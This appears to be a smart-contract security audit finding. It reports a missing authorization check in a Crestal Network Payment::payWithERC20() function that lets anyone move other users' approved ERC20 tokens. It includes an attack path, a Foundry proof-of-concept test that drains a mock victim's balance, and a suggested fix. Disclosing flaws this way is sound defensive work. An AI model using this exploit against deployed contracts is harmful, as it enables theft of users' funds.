Soaring Caramel Dragon

High

# Missing authorization check in `Payment::payWithERC20()` allows unauthorized token transfers

### Summary

Missing authorization checks in `Payment::payWithERC20()` will cause unauthorized token transfers for any user as an attacker can transfer approved tokens from any address without permission.

### Root Cause

The `Payment::payWithERC20()` public function lacks authorization checks, allowing any caller to specify arbitrary `fromAddress` parameters when transferring tokens.

https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/Payment.sol#L25-L32

### Internal Pre-conditions

N/A

### External Pre-conditions

1. User needs to approve the contract to spend their ERC20 tokens, which they need to do it to interact with BlueprintCore contract, for example, to create an agent via the `createAgent()` function.

### Attack Path

1. User approves the `BlueprintV5` contract to spend X amount of their tokens
2. Attacker calls `BlueprintV5::payWithERC20()` with the following parameters:
   - `fromAddress`: victim's address
   - `toAddress`: attacker's address
   - `amount`: any amount up to the approved amount
   - `erc20TokenAddress`: the approved token address
3. The tokens are transferred from victim to attacker due to the existing approval

### Impact

The victim suffers a complete loss of their approved tokens. The attacker gains all the transferred tokens with no restrictions.

### PoC

Create a new test case in `test/UnauthorizedTokenTransfer.t.sol` to demonstrate the attack:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {BlueprintV5} from "../src/BlueprintV5.sol";
import {MockERC20} from "./MockERC20.sol";

contract UnauthorizedTokenTransferTest is Test {
    BlueprintV5 public blueprint;
    MockERC20 public token;

    address victim = address(0x1);
    address attacker = address(0x2);

    function setUp() public {
        token = new MockERC20();

        blueprint = new BlueprintV5();
        blueprint.initialize();
        blueprint.addPaymentAddress(address(token));
    }

    function test_unauthorizedTokenTransfer() public {
        // Setup: Victim has 1000 tokens and approves Payment contract
        uint256 initialBalance = 1000e18;
        token.mint(victim, initialBalance);

        // Initial balances
        assertEq(token.balanceOf(victim), initialBalance);
        assertEq(token.balanceOf(attacker), 0);

        // Victim approves the contract to spend their tokens
        vm.prank(victim);
        token.approve(address(blueprint), initialBalance);

        // Attacker steals funds
        vm.prank(attacker);
        blueprint.payWithERC20(address(token), initialBalance, victim, attacker);

        // Attacker now has all tokens
        assertEq(token.balanceOf(victim), 0);
        assertEq(token.balanceOf(attacker), initialBalance);

        // Victim has no tokens left to spend
        vm.prank(victim);
        vm.expectRevert();
        blueprint.userTopUp(address(token), initialBalance);
    }
}
```

Run the test case:

```bash
forge test --mt test_unauthorizedTokenTransfer
```

### Mitigation

The `Payment::payWithERC20()` function should be made internal and only callable from other methods of the `BlueprintV5` contract.